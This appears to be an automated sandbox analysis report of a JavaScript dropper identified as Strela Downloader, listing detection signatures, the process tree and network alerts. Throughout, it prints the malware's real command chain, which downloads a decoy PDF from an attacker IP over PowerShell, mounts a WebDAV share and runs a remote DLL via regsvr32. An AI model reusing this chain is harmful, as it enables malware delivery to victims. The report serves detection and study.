Edit tour

Windows Analysis Report
2513521629114031259.js

Overview

General Information

Sample name:	2513521629114031259.js
Analysis ID:	1588145
MD5:	9876804bcc213d7baf7296c27d36c667
SHA1:	6f9a45074738359142973a140ca2a66c5eb9d243
SHA256:	e0626eaa4dc27f92fcf56263fd86988905f90a1460934e6736da1f276050940d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5476 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7180 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7264 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7520 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7732 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7936 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1688,i,1640275491988738719,18112798055175536522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7612 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7640 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7800 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5476	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7264, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7264, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ProcessId: 5476, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7640, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49702

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7180, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7180, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7180, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7180, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7180, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7180, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ProcessId: 5476, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7180, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7264, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7640, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7800, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7640, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5476, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll, ProcessId: 7180, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:55:24.268351+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49702	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:55:21.356216+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2513521629114031259.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2513521629114031259.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49702 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:55:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 